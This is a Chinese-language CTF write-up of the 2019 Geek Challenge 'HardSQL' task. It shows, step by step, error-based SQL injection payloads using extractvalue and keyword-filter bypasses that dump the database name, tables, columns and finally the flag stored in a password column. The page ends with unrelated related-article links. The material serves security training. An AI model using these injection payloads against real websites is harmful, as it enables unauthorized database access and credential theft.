当前位置:网站首页>[极客大挑战 2019]HardSQL
[极客大挑战 2019]HardSQL
2022-08-09 16:43:00 【努力做大佬m0_68074153】
1.报错注入
sql注入首先先试一下万能密码。
再试试双写
大小写
都不行都被搬了。但是我们发现单独输入一个’会出现报错界面。
尝试使用extractvalue进行报错注入,因为这里=被搬了我们使用like来代替=。
payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(1,(select(database()))))%23

成功出了库名,那么接下来就是经典组合拳了。
爆表名,payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

爆列名,payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

猜测password是我们要的flag信息。查询password,payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

回显有限制,只出来了一半,我们可以用left,right来左右分别查看然后拼接。payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23 /check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23


左右拼起来就是flag。
边栏推荐
猜你喜欢
随机推荐
Problems Existing in Hardware Development of Electronic Products
LeetCode 413.等差数列划分
PADS generates bitmap
How to adjust futures account opening process and handling fee
Can't install the Vmware virtual machine on the Ark Kai server?
怎样选择一个好的SaaS知识库工具?
Apache Doris Community PMC Yang Zhengguo: How do open source projects strike a balance between their own and the community's needs?
【机器学习】回归树生成过程及举例理解
vr虚拟仿真样板间极大节省出样成本-深圳华锐视点
微服务:事务管理
Functions and Features of Smart Home Control System
贫血模型与充血模型
SkiaSharp 之 WPF 自绘 投篮小游戏(案例版)
重谈联想5G编码投票事件
什么是硬件集成开发?硬件集成开发的核心有哪些?
史上最全架构师知识图谱
International Soil Modeling Consortium-ISMC
mysql generates random name, mobile number, date
期货开户流程和手续费如何调整
Lagrange interpolation formula matlab implementation









